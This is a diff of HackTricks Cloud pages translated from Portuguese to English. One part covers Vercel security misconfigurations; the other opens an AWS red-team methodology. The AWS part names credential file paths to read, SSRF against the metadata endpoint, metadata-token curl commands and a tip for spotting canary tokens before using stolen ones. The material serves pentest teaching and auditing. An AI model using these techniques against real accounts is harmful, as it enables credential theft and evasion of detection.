||||
#### Security Configurations:
|
||||
|
||||
- Nada (gerenciado a partir das configurações da equipe)
|
||||
- Nothing (managed from teams settings)
|
||||
|
||||
---
|
||||
|
||||
### Segurança
|
||||
### Security
|
||||
|
||||
**Propósito:** Hub central para várias configurações relacionadas à segurança que afetam o acesso ao projeto, proteção de código-fonte e mais.
|
||||
**Purpose:** Central hub for various security-related settings affecting project access, source protection, and more.
|
||||
|
||||
#### Configurações de Segurança:
|
||||
#### Security Configurations:
|
||||
|
||||
**Logs de Build e Proteção de Código-Fonte**
|
||||
**Build Logs and Source Protection**
|
||||
|
||||
- **Má configuração:** Desabilitar proteção ou expor caminhos `/logs` e `/src` publicamente.
|
||||
- **Risco:** Acesso não autorizado a logs de build e código-fonte, levando a vazamentos de informações e potencial exploração de vulnerabilidades.
|
||||
- **Misconfiguration:** Disabling protection or exposing `/logs` and `/src` paths publicly.
|
||||
- **Risk:** Unauthorized access to build logs and source code, leading to information leaks and potential exploitation of vulnerabilities.
|
||||
|
||||
**Proteção de Fork do Git**
|
||||
**Git Fork Protection**
|
||||
|
||||
- **Má configuração:** Permitir pull requests não autorizados sem revisões adequadas.
|
||||
- **Risco:** Código malicioso pode ser mesclado ao código-fonte, introduzindo vulnerabilidades ou backdoors.
|
||||
- **Misconfiguration:** Allowing unauthorized pull requests without proper reviews.
|
||||
- **Risk:** Malicious code can be merged into the codebase, introducing vulnerabilities or backdoors.
|
||||
|
||||
**Acesso Seguro ao Backend com OIDC Federation**
|
||||
**Secure Backend Access with OIDC Federation**
|
||||
|
||||
- **Má configuração:** Configuração incorreta dos parâmetros OIDC ou uso de URLs de emissor inseguras.
|
||||
- **Risco:** Acesso não autorizado a serviços de backend através de fluxos de autenticação falhos.
|
||||
- **Misconfiguration:** Incorrectly setting up OIDC parameters or using insecure issuer URLs.
|
||||
- **Risk:** Unauthorized access to backend services through flawed authentication flows.
|
||||
|
||||
**Política de Retenção de Implantação**
|
||||
**Deployment Retention Policy**
|
||||
|
||||
- **Má configuração:** Definir períodos de retenção muito curtos (perdendo o histórico de implantações) ou muito longos (retenção desnecessária de dados).
|
||||
- **Risco:** Incapacidade de realizar rollbacks quando necessário ou aumento do risco de exposição de dados de implantações antigas.
|
||||
- **Misconfiguration:** Setting retention periods too short (losing deployment history) or too long (unnecessary data retention).
|
||||
- **Risk:** Inability to perform rollbacks when needed or increased risk of data exposure from old deployments.
|
||||
|
||||
**Implantações Recentemente Excluídas**
|
||||
**Recently Deleted Deployments**
|
||||
|
||||
- **Má configuração:** Não monitorar implantações excluídas ou confiar apenas em exclusões automatizadas.
|
||||
- **Risco:** Perda de histórico crítico de implantações, dificultando auditorias e rollbacks.
|
||||
- **Misconfiguration:** Not monitoring deleted deployments or relying solely on automated deletions.
|
||||
- **Risk:** Loss of critical deployment history, hindering audits and rollbacks.
|
||||
|
||||
---
|
||||
|
||||
### Avançado
|
||||
### Advanced
|
||||
|
||||
**Propósito:** Acesso a configurações adicionais do projeto para ajuste fino de configurações e aprimoramento da segurança.
|
||||
**Purpose:** Access to additional project settings for fine-tuning configurations and enhancing security.
|
||||
|
||||
#### Configurações de Segurança:
|
||||
#### Security Configurations:
|
||||
|
||||
**Listagem de Diretório**
|
||||
**Directory Listing**
|
||||
|
||||
- **Má configuração:** Habilitar a listagem de diretório permite que os usuários vejam o conteúdo do diretório sem um arquivo de índice.
|
||||
- **Risco:** Exposição de arquivos sensíveis, estrutura da aplicação e potenciais pontos de entrada para ataques.
|
||||
- **Misconfiguration:** Enabling directory listing allows users to view directory contents without an index file.
|
||||
- **Risk:** Exposure of sensitive files, application structure, and potential entry points for attacks.
|
||||
|
||||
---
|
||||
|
||||
## Firewall do Projeto
|
||||
## Project Firewall
|
||||
|
||||
### Firewall
|
||||
|
||||
#### Configurações de Segurança:
|
||||
#### Security Configurations:
|
||||
|
||||
**Habilitar Modo de Desafio de Ataque**
|
||||
**Enable Attack Challenge Mode**
|
||||
|
||||
- **Má configuração:** Habilitar isso melhora as defesas da aplicação web contra DoS, mas à custa da usabilidade
|
||||
- **Risco:** Potenciais problemas de experiência do usuário.
|
||||
- **Misconfiguration:** Enabling this improves the defenses of the web application against DoS but at the cost of usability
|
||||
- **Risk:** Potential user experience problems.
|
||||
|
||||
### Regras Personalizadas & Bloqueio de IP
|
||||
### Custom Rules & IP Blocking
|
||||
|
||||
- **Má configuração:** Permite desbloquear/bloquear tráfego
|
||||
- **Risco:** Potencial DoS permitindo tráfego malicioso ou bloqueando tráfego benigno
|
||||
- **Misconfiguration:** Allows to unblock/block traffic
|
||||
- **Risk:** Potential DoS allowing malicious traffic or blocking benign traffic
|
||||
|
||||
---
|
||||
|
||||
## Implantação do Projeto
|
||||
## Project Deployment
|
||||
|
||||
### Fonte
|
||||
### Source
|
||||
|
||||
- **Má configuração:** Permite acesso para ler o código-fonte completo da aplicação
|
||||
- **Risco:** Exposição potencial de informações sensíveis
|
||||
- **Misconfiguration:** Allows access to read the complete source code of the application
|
||||
- **Risk:** Potential exposure of sensitive information
|
||||
|
||||
### Proteção contra Desvio
|
||||
### Skew Protection
|
||||
|
||||
- **Má configuração:** Esta proteção garante que a aplicação do cliente e do servidor estejam sempre usando a mesma versão, para que não haja desincronizações onde o cliente usa uma versão diferente do servidor e, portanto, não se entendem.
|
||||
- **Risco:** Desabilitar isso (se habilitado) pode causar problemas de DoS em novas implantações no futuro
|
||||
- **Misconfiguration:** This protection ensures the client and server application are always using the same version so there is no desynchronizations were the client uses a different version from the server and therefore they don't understand each other.
|
||||
- **Risk:** Disabling this (if enabled) could cause DoS problems in new deployments in the future
|
||||
|
||||
---
|
||||
|
||||
## Configurações da Equipe
|
||||
## Team Settings
|
||||
|
||||
### Geral
|
||||
### General
|
||||
|
||||
#### Configurações de Segurança:
|
||||
#### Security Configurations:
|
||||
|
||||
- **Transferência**
|
||||
- **Má configuração:** Permite transferir todos os projetos para outra equipe
|
||||
- **Risco:** Um atacante pode roubar os projetos
|
||||
- **Excluir Projeto**
|
||||
- **Má configuração:** Permite excluir a equipe com todos os projetos 
|
||||
- **Risco:** Excluir os projetos
|
||||
- **Transfer**
|
||||
- **Misconfiguration:** Allows to transfer all the projects to another team
|
||||
- **Risk:** An attacker could steal the projects
|
||||
- **Delete Project**
|
||||
- **Misconfiguration:** Allows to delete the team with all the projects
|
||||
- **Risk:** Delete the projects
|
||||
|
||||
---
|
||||
|
||||
### Faturamento
|
||||
### Billing
|
||||
|
||||
#### Configurações de Segurança:
|
||||
#### Security Configurations:
|
||||
|
||||
- **Limite de Custo do Speed Insights**
|
||||
- **Má configuração:** Um atacante pode aumentar esse número
|
||||
- **Risco:** Aumento de custos
|
||||
- **Speed Insights Cost Limit**
|
||||
- **Misconfiguration:** An attacker could increase this number
|
||||
- **Risk:** Increased costs
|
||||
|
||||
---
|
||||
|
||||
### Membros
|
||||
### Members
|
||||
|
||||
#### Configurações de Segurança:
|
||||
#### Security Configurations:
|
||||
|
||||
- **Adicionar membros**
|
||||
- **Má configuração:** Um atacante pode manter persistência convidando uma conta que ele controla
|
||||
- **Risco:** Persistência do atacante
|
||||
- **Funções**
|
||||
- **Má configuração:** Conceder permissões excessivas a pessoas que não precisam aumenta o risco da configuração do Vercel. Verifique todos os papéis possíveis em [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)
|
||||
- **Risco**: Aumentar a exposição da Equipe Vercel
|
||||
- **Add members**
|
||||
- **Misconfiguration:** An attacker could maintain persitence inviting an account he control
|
||||
- **Risk:** Attacker persistence
|
||||
- **Roles**
|
||||
- **Misconfiguration:** Granting too many permissions to people that doesn't need it increases the risk of the vercel configuration. Check all the possible roles in [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)
|
||||
- **Risk**: Increate the exposure of the Vercel Team
|
||||
|
||||
---
|
||||
|
||||
### Grupos de Acesso
|
||||
### Access Groups
|
||||
|
||||
Um **Grupo de Acesso** no Vercel é uma coleção de projetos e membros da equipe com atribuições de função predefinidas, permitindo gerenciamento de acesso centralizado e simplificado em vários projetos.
|
||||
An **Access Group** in Vercel is a collection of projects and team members with predefined role assignments, enabling centralized and streamlined access management across multiple projects.
|
||||
|
||||
**Possíveis Má Configurações:**
|
||||
**Potential Misconfigurations:**
|
||||
|
||||
- **Permissões Excessivas para Membros:** Atribuir funções com mais permissões do que o necessário, levando a acesso ou ações não autorizadas.
|
||||
- **Atribuições de Função Improprias:** Atribuir incorretamente funções que não se alinham com as responsabilidades dos membros da equipe, causando escalonamento de privilégios.
|
||||
- **Falta de Segregação de Projetos:** Falha em separar projetos sensíveis, permitindo acesso mais amplo do que o pretendido.
|
||||
- **Gerenciamento Insuficiente de Grupos:** Não revisar ou atualizar regularmente os Grupos de Acesso, resultando em permissões de acesso desatualizadas ou inadequadas.
|
||||
- **Definições de Função Inconsistentes:** Usar definições de função inconsistentes ou pouco claras em diferentes Grupos de Acesso, levando a confusão e lacunas de segurança.
|
||||
- **Over-Permissioning Members:** Assigning roles with more permissions than necessary, leading to unauthorized access or actions.
|
||||
- **Improper Role Assignments:** Incorrectly assigning roles that do not align with team members' responsibilities, causing privilege escalation.
|
||||
- **Lack of Project Segregation:** Failing to separate sensitive projects, allowing broader access than intended.
|
||||
- **Insufficient Group Management:** Not regularly reviewing or updating Access Groups, resulting in outdated or inappropriate access permissions.
|
||||
- **Inconsistent Role Definitions:** Using inconsistent or unclear role definitions across different Access Groups, leading to confusion and security gaps.
|
||||
|
||||
---
|
||||
|
||||
### Log Drains
|
||||
|
||||
#### Configurações de Segurança:
|
||||
#### Security Configurations:
|
||||
|
||||
- **Log Drains para terceiros:**
|
||||
- **Má configuração:** Um atacante pode configurar um Log Drain para roubar os logs
|
||||
- **Risco:** Persistência parcial
|
||||
- **Log Drains to third parties:**
|
||||
- **Misconfiguration:** An attacker could configure a Log Drain to steal the logs
|
||||
- **Risk:** Partial persistence
|
||||
|
||||
---
|
||||
|
||||
### Segurança & Privacidade
|
||||
### Security & Privacy
|
||||
|
||||
#### Configurações de Segurança:
|
||||
#### Security Configurations:
|
||||
|
||||
- **Domínio de Email da Equipe:** Quando configurado, esta configuração convida automaticamente Contas Pessoais do Vercel com endereços de email terminando no domínio especificado (por exemplo, `mydomain.com`) a se juntarem à sua equipe ao se inscreverem e no painel.
|
||||
- **Má configuração:** 
|
||||
- Especificar o domínio de email errado ou um domínio com erro de ortografia na configuração do Domínio de Email da Equipe.
|
||||
- Usar um domínio de email comum (por exemplo, `gmail.com`, `hotmail.com`) em vez de um domínio específico da empresa.
|
||||
- **Riscos:**
|
||||
- **Acesso Não Autorizado:** Usuários com endereços de email de domínios não intencionais podem receber convites para se juntar à sua equipe.
|
||||
- **Exposição de Dados:** Exposição potencial de informações sensíveis do projeto a indivíduos não autorizados.
|
||||
- **Escopos Git Protegidos:** Permite adicionar até 5 escopos Git à sua equipe para impedir que outras equipes do Vercel implantem repositórios do escopo protegido. Várias equipes podem especificar o mesmo escopo, permitindo acesso a ambas as equipes.
|
||||
- **Má configuração:** Não adicionar escopos Git críticos à lista protegida.
|
||||
- **Riscos:**
|
||||
- **Implantações Não Autorizadas:** Outras equipes podem implantar repositórios dos escopos Git da sua organização sem autorização.
|
||||
- **Exposição de Propriedade Intelectual:** Código proprietário pode ser implantado e acessado fora da sua equipe.
|
||||
- **Políticas de Variáveis de Ambiente:** Impõe políticas para a criação e edição das variáveis de ambiente da equipe. Especificamente, você pode impor que todas as variáveis de ambiente sejam criadas como **Variáveis de Ambiente Sensíveis**, que só podem ser descriptografadas pelo sistema de implantação do Vercel.
|
||||
- **Má configuração:** Manter a imposição de variáveis de ambiente sensíveis desativada.
|
||||
- **Riscos:**
|
||||
- **Exposição de Segredos:** Variáveis de ambiente podem ser visualizadas ou editadas por membros não autorizados da equipe.
|
||||
- **Vazamento de Dados:** Informações sensíveis como chaves de API e credenciais podem ser vazadas.
|
||||
- **Registro de Auditoria:** Fornece uma exportação da atividade da equipe por até os últimos 90 dias. Registros de auditoria ajudam a monitorar e rastrear ações realizadas pelos membros da equipe.
|
||||
- **Má configuração:**\
|
||||
Conceder acesso aos registros de auditoria a membros não autorizados da equipe.
|
||||
- **Riscos:**
|
||||
- **Violação de Privacidade:** Exposição de atividades e dados sensíveis dos usuários.
|
||||
- **Manipulação de Registros:** Atores maliciosos podem alterar ou excluir registros para encobrir suas trilhas.
|
||||
- **SAML Single Sign-On:** Permite personalização da autenticação SAML e sincronização de diretórios para sua equipe, permitindo integração com um Provedor de Identidade (IdP) para autenticação e gerenciamento de usuários centralizados.
|
||||
- **Má configuração:** Um atacante pode backdoor a configuração da Equipe configurando parâmetros SAML como Entity ID, SSO URL ou impressões digitais de certificado.
|
||||
- **Risco:** Manter persistência
|
||||
- **Visibilidade de Endereço IP:** Controla se os endereços IP, que podem ser considerados informações pessoais sob certas leis de proteção de dados, são exibidos em consultas de Monitoramento e Log Drains.
|
||||
- **Má configuração:** Deixar a visibilidade do endereço IP habilitada sem necessidade.
|
||||
- **Riscos:**
|
||||
- **Violação de Privacidade:** Não conformidade com regulamentos de proteção de dados como o GDPR.
|
||||
- **Repercussões Legais:** Multas e penalidades potenciais por manuseio inadequado de dados pessoais.
|
||||
- **Bloqueio de IP:** Permite a configuração de endereços IP e intervalos CIDR que o Vercel deve bloquear solicitações. Solicitações bloqueadas não contribuem para sua cobrança.
|
||||
- **Má configuração:** Poderia ser abusada por um atacante para permitir tráfego malicioso ou bloquear tráfego legítimo.
|
||||
- **Riscos:**
|
||||
- **Negação de Serviço a Usuários Legítimos:** Bloqueio de acesso para usuários ou parceiros válidos.
|
||||
- **Interrupções Operacionais:** Perda de disponibilidade de serviço para certas regiões ou clientes.
|
||||
- **Team Email Domain:** When configured, this setting automatically invites Vercel Personal Accounts with email addresses ending in the specified domain (e.g., `mydomain.com`) to join your team upon signup and on the dashboard.
|
||||
- **Misconfiguration:**
|
||||
- Specifying the wrong email domain or a misspelled domain in the Team Email Domain setting.
|
||||
- Using a common email domain (e.g., `gmail.com`, `hotmail.com`) instead of a company-specific domain.
|
||||
- **Risks:**
|
||||
- **Unauthorized Access:** Users with email addresses from unintended domains may receive invitations to join your team.
|
||||
- **Data Exposure:** Potential exposure of sensitive project information to unauthorized individuals.
|
||||
- **Protected Git Scopes:** Allows you to add up to 5 Git scopes to your team to prevent other Vercel teams from deploying repositories from the protected scope. Multiple teams can specify the same scope, allowing both teams access.
|
||||
- **Misconfiguration:** Not adding critical Git scopes to the protected list.
|
||||
- **Risks:**
|
||||
- **Unauthorized Deployments:** Other teams may deploy repositories from your organization's Git scopes without authorization.
|
||||
- **Intellectual Property Exposure:** Proprietary code could be deployed and accessed outside your team.
|
||||
- **Environment Variable Policies:** Enforces policies for the creation and editing of the team's environment variables. Specifically, you can enforce that all environment variables are created as **Sensitive Environment Variables**, which can only be decrypted by Vercel's deployment system.
|
||||
- **Misconfiguration:** Keeping the enforcement of sensitive environment variables disabled.
|
||||
- **Risks:**
|
||||
- **Exposure of Secrets:** Environment variables may be viewed or edited by unauthorized team members.
|
||||
- **Data Breach:** Sensitive information like API keys and credentials could be leaked.
|
||||
- **Audit Log:** Provides an export of the team's activity for up to the last 90 days. Audit logs help in monitoring and tracking actions performed by team members.
|
||||
- **Misconfiguration:**\
|
||||
Granting access to audit logs to unauthorized team members.
|
||||
- **Risks:**
|
||||
- **Privacy Violations:** Exposure of sensitive user activities and data.
|
||||
- **Tampering with Logs:** Malicious actors could alter or delete logs to cover their tracks.
|
||||
- **SAML Single Sign-On:** Allows customization of SAML authentication and directory syncing for your team, enabling integration with an Identity Provider (IdP) for centralized authentication and user management.
|
||||
- **Misconfiguration:** An attacker could backdoor the Team setting up SAML parameters such as Entity ID, SSO URL, or certificate fingerprints.
|
||||
- **Risk:** Maintain persistence
|
||||
- **IP Address Visibility:** Controls whether IP addresses, which may be considered personal information under certain data protection laws, are displayed in Monitoring queries and Log Drains.
|
||||
- **Misconfiguration:** Leaving IP address visibility enabled without necessity.
|
||||
- **Risks:**
|
||||
- **Privacy Violations:** Non-compliance with data protection regulations like GDPR.
|
||||
- **Legal Repercussions:** Potential fines and penalties for mishandling personal data.
|
||||
- **IP Blocking:** Allows the configuration of IP addresses and CIDR ranges that Vercel should block requests from. Blocked requests do not contribute to your billing.
|
||||
- **Misconfiguration:** Could be abused by an attacker to allow malicious traffic or block legit traffic.
|
||||
- **Risks:**
|
||||
- **Service Denial to Legitimate Users:** Blocking access for valid users or partners.
|
||||
- **Operational Disruptions:** Loss of service availability for certain regions or clients.
|
||||
|
||||
---
|
||||
|
||||
### Computação Segura
|
||||
### Secure Compute
|
||||
|
||||
**Vercel Secure Compute** permite conexões seguras e privadas entre Funções Vercel e ambientes de backend (por exemplo, bancos de dados) estabelecendo redes isoladas com endereços IP dedicados. Isso elimina a necessidade de expor serviços de backend publicamente, melhorando a segurança, conformidade e privacidade.
|
||||
**Vercel Secure Compute** enables secure, private connections between Vercel Functions and backend environments (e.g., databases) by establishing isolated networks with dedicated IP addresses. This eliminates the need to expose backend services publicly, enhancing security, compliance, and privacy.
|
||||
|
||||
#### **Possíveis Má Configurações e Riscos**
|
||||
#### **Potential Misconfigurations and Risks**
|
||||
|
||||
1. **Seleção Incorreta da Região AWS**
|
||||
- **Má configuração:** Escolher uma região AWS para a rede Secure Compute que não corresponda à região dos serviços de backend.
|
||||
- **Risco:** Aumento da latência, potenciais problemas de conformidade de residência de dados e desempenho degradado.
|
||||
2. **Blocos CIDR Sobrepostos**
|
||||
- **Má configuração:** Selecionar blocos CIDR que se sobrepõem a VPCs existentes ou outras redes.
|
||||
- **Risco:** Conflitos de rede levando a conexões falhadas, acesso não autorizado ou vazamento de dados entre redes.
|
||||
3. **Configuração Incorreta de Peering VPC**
|
||||
- **Má configuração:** Configuração incorreta do peering VPC (por exemplo, IDs de VPC errados, atualizações incompletas da tabela de rotas).
|
||||
- **Risco:** Acesso não autorizado à infraestrutura de backend, conexões seguras falhadas e potenciais vazamentos de dados.
|
||||
4. **Atribuições Excessivas de Projetos**
|
||||
- **Má configuração:** Atribuir vários projetos a uma única rede Secure Compute sem o devido isolamento.
|
||||
- **Risco:** Exposição compartilhada de IP aumenta a superfície de ataque, permitindo que projetos comprometidos afetem outros.
|
||||
5. **Gerenciamento Inadequado de Endereços IP**
|
||||
- **Má configuração:** Falha em gerenciar ou rotacionar endereços IP dedicados adequadamente.
|
||||
- **Risco:** Spoofing de IP, vulnerabilidades de rastreamento e potencial blacklist se os IPs estiverem associados a atividades maliciosas.
|
||||
6. **Inclusão Desnecessária de Contêineres de Build**
|
||||
- **Má configuração:** Adicionar contêineres de build à rede Secure Compute quando o acesso ao backend não é necessário durante as builds.
|
||||
- **Risco:** Superfície de ataque expandida, atrasos aumentados na provisão e consumo desnecessário de recursos de rede.
|
||||
7. **Falha em Lidar com Segredos de Bypass de Forma Segura**
|
||||
- **Má configuração:** Expor ou manusear incorretamente segredos usados para contornar proteções de implantação.
|
||||
- **Risco:** Acesso não autorizado a implantações protegidas, permitindo que atacantes manipulem ou implantem código malicioso.
|
||||
8. **Ignorando Configurações de Failover de Região**
|
||||
- **Má configuração:** Não configurar regiões de failover passivas ou configurar incorretamente as configurações de failover.
|
||||
- **Risco:** Tempo de inatividade do serviço durante interrupções na região primária, levando a disponibilidade reduzida e potencial inconsistência de dados.
|
||||
9. **Excedendo Limites de Conexão de Peering VPC**
|
||||
- **Má configuração:** Tentar estabelecer mais conexões de peering VPC do que o limite permitido (por exemplo, excedendo 50 conexões).
|
||||
- **Risco:** Incapacidade de conectar serviços de backend necessários de forma segura, causando falhas de implantação e interrupções operacionais.
|
||||
10. **Configurações de Rede Inseguras**
|
||||
- **Má configuração:** Regras de firewall fracas, falta de criptografia ou segmentação inadequada da rede dentro da rede Secure Compute.
|
||||
- **Risco:** Interceptação de dados, acesso não autorizado a serviços de backend e aumento da vulnerabilidade a ataques.
|
||||
1. **Incorrect AWS Region Selection**
|
||||
- **Misconfiguration:** Choosing an AWS region for the Secure Compute network that doesn't match the backend services' region.
|
||||
- **Risk:** Increased latency, potential data residency compliance issues, and degraded performance.
|
||||
2. **Overlapping CIDR Blocks**
|
||||
- **Misconfiguration:** Selecting CIDR blocks that overlap with existing VPCs or other networks.
|
||||
- **Risk:** Network conflicts leading to failed connections, unauthorized access, or data leakage between networks.
|
||||
3. **Improper VPC Peering Configuration**
|
||||
- **Misconfiguration:** Incorrectly setting up VPC peering (e.g., wrong VPC IDs, incomplete route table updates).
|
||||
- **Risk:** Unauthorized access to backend infrastructure, failed secure connections, and potential data breaches.
|
||||
4. **Excessive Project Assignments**
|
||||
- **Misconfiguration:** Assigning multiple projects to a single Secure Compute network without proper isolation.
|
||||
- **Risk:** Shared IP exposure increases the attack surface, potentially allowing compromised projects to affect others.
|
||||
5. **Inadequate IP Address Management**
|
||||
- **Misconfiguration:** Failing to manage or rotate dedicated IP addresses appropriately.
|
||||
- **Risk:** IP spoofing, tracking vulnerabilities, and potential blacklisting if IPs are associated with malicious activities.
|
||||
6. **Including Build Containers Unnecessarily**
|
||||
- **Misconfiguration:** Adding build containers to the Secure Compute network when backend access isn't required during builds.
|
||||
- **Risk:** Expanded attack surface, increased provisioning delays, and unnecessary consumption of network resources.
|
||||
7. **Failure to Securely Handle Bypass Secrets**
|
||||
- **Misconfiguration:** Exposing or mishandling secrets used to bypass deployment protections.
|
||||
- **Risk:** Unauthorized access to protected deployments, allowing attackers to manipulate or deploy malicious code.
|
||||
8. **Ignoring Region Failover Configurations**
|
||||
- **Misconfiguration:** Not setting up passive failover regions or misconfiguring failover settings.
|
||||
- **Risk:** Service downtime during primary region outages, leading to reduced availability and potential data inconsistency.
|
||||
9. **Exceeding VPC Peering Connection Limits**
|
||||
- **Misconfiguration:** Attempting to establish more VPC peering connections than the allowed limit (e.g., exceeding 50 connections).
|
||||
- **Risk:** Inability to connect necessary backend services securely, causing deployment failures and operational disruptions.
|
||||
10. **Insecure Network Settings**
|
||||
- **Misconfiguration:** Weak firewall rules, lack of encryption, or improper network segmentation within the Secure Compute network.
|
||||
- **Risk:** Data interception, unauthorized access to backend services, and increased vulnerability to attacks.
|
||||
|
||||
---
|
||||
|
||||
### Variáveis de Ambiente
|
||||
### Environment Variables
|
||||
|
||||
**Propósito:** Gerenciar variáveis e segredos específicos do ambiente usados por todos os projetos.
|
||||
**Purpose:** Manage environment-specific variables and secrets used by all the projects.
|
||||
|
||||
#### Configurações de Segurança:
|
||||
#### Security Configurations:
|
||||
|
||||
- **Expondo Variáveis Sensíveis**
|
||||
- **Má configuração:** Prefixar variáveis sensíveis com `NEXT_PUBLIC_`, tornando-as acessíveis no lado do cliente.
|
||||
- **Risco:** Exposição de chaves de API, credenciais de banco de dados ou outros dados sensíveis ao público, levando a vazamentos de dados.
|
||||
- **Sensível desativado**
|
||||
- **Má configuração:** Se desativado (padrão), é possível ler os valores dos segredos gerados.
|
||||
- **Risco:** Aumento da probabilidade de exposição acidental ou acesso não autorizado a informações sensíveis.
|
||||
- **Exposing Sensitive Variables**
|
||||
- **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side.
|
||||
- **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches.
|
||||
- **Sensitive disabled**
|
||||
- **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets.
|
||||
- **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,17 +2,17 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Informações Básicas
|
||||
## Basic Information
|
||||
|
||||
**Antes de começar o pentesting** em um **ambiente AWS**, há algumas **coisas básicas que você precisa saber** sobre como a AWS funciona para ajudá-lo a entender o que você precisa fazer, como encontrar configurações incorretas e como explorá-las.
|
||||
**Before start pentesting** an **AWS** environment there are a few **basics things you need to know** about how AWS works to help you understand what you need to do, how to find misconfigurations and how to exploit them.
|
||||
|
||||
Conceitos como hierarquia de organização, IAM e outros conceitos básicos são explicados em:
|
||||
Concepts such as organization hierarchy, IAM and other basic concepts are explained in:
|
||||
|
||||
{{#ref}}
|
||||
aws-basic-information/
|
||||
{{#endref}}
|
||||
|
||||
## Laboratórios para aprender
|
||||
## Labs to learn
|
||||
|
||||
- [https://github.com/RhinoSecurityLabs/cloudgoat](https://github.com/RhinoSecurityLabs/cloudgoat)
|
||||
- [https://github.com/BishopFox/iam-vulnerable](https://github.com/BishopFox/iam-vulnerable)
|
||||
@@ -22,49 +22,49 @@ aws-basic-information/
|
||||
- [http://flaws.cloud/](http://flaws.cloud/)
|
||||
- [http://flaws2.cloud/](http://flaws2.cloud/)
|
||||
|
||||
Ferramentas para simular ataques:
|
||||
Tools to simulate attacks:
|
||||
|
||||
- [https://github.com/Datadog/stratus-red-team/](https://github.com/Datadog/stratus-red-team/)
|
||||
- [https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main](https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main)
|
||||
|
||||
## Metodologia de Pentester/Red Team da AWS
|
||||
## AWS Pentester/Red Team Methodology
|
||||
|
||||
Para auditar um ambiente AWS, é muito importante saber: quais **serviços estão sendo usados**, o que está **sendo exposto**, quem tem **acesso** a quê e como os serviços internos da AWS e os **serviços externos** estão conectados.
|
||||
In order to audit an AWS environment it's very important to know: which **services are being used**, what is **being exposed**, who has **access** to what, and how are internal AWS services an **external services** connected.
|
||||
|
||||
Do ponto de vista de um Red Team, o **primeiro passo para comprometer um ambiente AWS** é conseguir obter algumas **credenciais**. Aqui estão algumas ideias sobre como fazer isso:
|
||||
From a Red Team point of view, the **first step to compromise an AWS environment** is to manage to obtain some **credentials**. Here you have some ideas on how to do that:
|
||||
|
||||
- **Leaks** no github (ou similar) - OSINT
|
||||
- **Engenharia** Social
|
||||
- Reutilização de **Senhas** (vazamentos de senhas)
|
||||
- Vulnerabilidades em Aplicações Hospedadas na AWS
|
||||
- [**Server Side Request Forgery**](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) com acesso ao endpoint de metadados
|
||||
- **Leitura de Arquivo Local**
|
||||
- `/home/USERNAME/.aws/credentials`
|
||||
- `C:\Users\USERNAME\.aws\credentials`
|
||||
- **terceiros** **vazados**
|
||||
- Funcionário **Interno**
|
||||
- [**Cognito** ](aws-services/aws-cognito-enum/index.html#cognito)credenciais
|
||||
- **Leaks** in github (or similar) - OSINT
|
||||
- **Social** Engineering
|
||||
- **Password** reuse (password leaks)
|
||||
- Vulnerabilities in AWS-Hosted Applications
|
||||
- [**Server Side Request Forgery**](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) with access to metadata endpoint
|
||||
- **Local File Read**
|
||||
- `/home/USERNAME/.aws/credentials`
|
||||
- `C:\Users\USERNAME\.aws\credentials`
|
||||
- 3rd parties **breached**
|
||||
- **Internal** Employee
|
||||
- [**Cognito** ](aws-services/aws-cognito-enum/index.html#cognito)credentials
|
||||
|
||||
Ou por **comprometer um serviço não autenticado** exposto:
|
||||
Or by **compromising an unauthenticated service** exposed:
|
||||
|
||||
{{#ref}}
|
||||
aws-unauthenticated-enum-access/
|
||||
{{#endref}}
|
||||
|
||||
Ou se você estiver fazendo uma **revisão**, você poderia apenas **pedir credenciais** com esses papéis:
|
||||
Or if you are doing a **review** you could just **ask for credentials** with these roles:
|
||||
|
||||
{{#ref}}
|
||||
aws-permissions-for-a-pentest.md
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> Depois de conseguir obter credenciais, você precisa saber **de quem são essas credenciais** e **a que elas têm acesso**, então você precisa realizar alguma enumeração básica:
|
||||
> After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration:
|
||||
|
||||
## Enumeração Básica
|
||||
## Basic Enumeration
|
||||
|
||||
### SSRF
|
||||
|
||||
Se você encontrou um SSRF em uma máquina dentro da AWS, verifique esta página para truques:
|
||||
If you found a SSRF in a machine inside AWS check this page for tricks:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
@@ -72,7 +72,8 @@ https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/
|
||||
|
||||
### Whoami
|
||||
|
||||
Uma das primeiras coisas que você precisa saber é quem você é (em qual conta você está e outras informações sobre o ambiente AWS):
|
||||
One of the first things you need to know is who you are (in where account you are in other info about the AWS env):
|
||||
|
||||
```bash
|
||||
# Easiest way, but might be monitored?
|
||||
aws sts get-caller-identity
|
||||
@@ -88,113 +89,117 @@ aws sns publish --topic-arn arn:aws:sns:us-east-1:*account id*:aaa --message aaa
|
||||
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
|
||||
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Note que as empresas podem usar **canary tokens** para identificar quando **tokens estão sendo roubados e usados**. É recomendável verificar se um token é um canary token ou não antes de usá-lo.\
|
||||
> Para mais informações [**verifique esta página**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
|
||||
|
||||
### Enumeração de Org
|
||||
> [!CAUTION]
|
||||
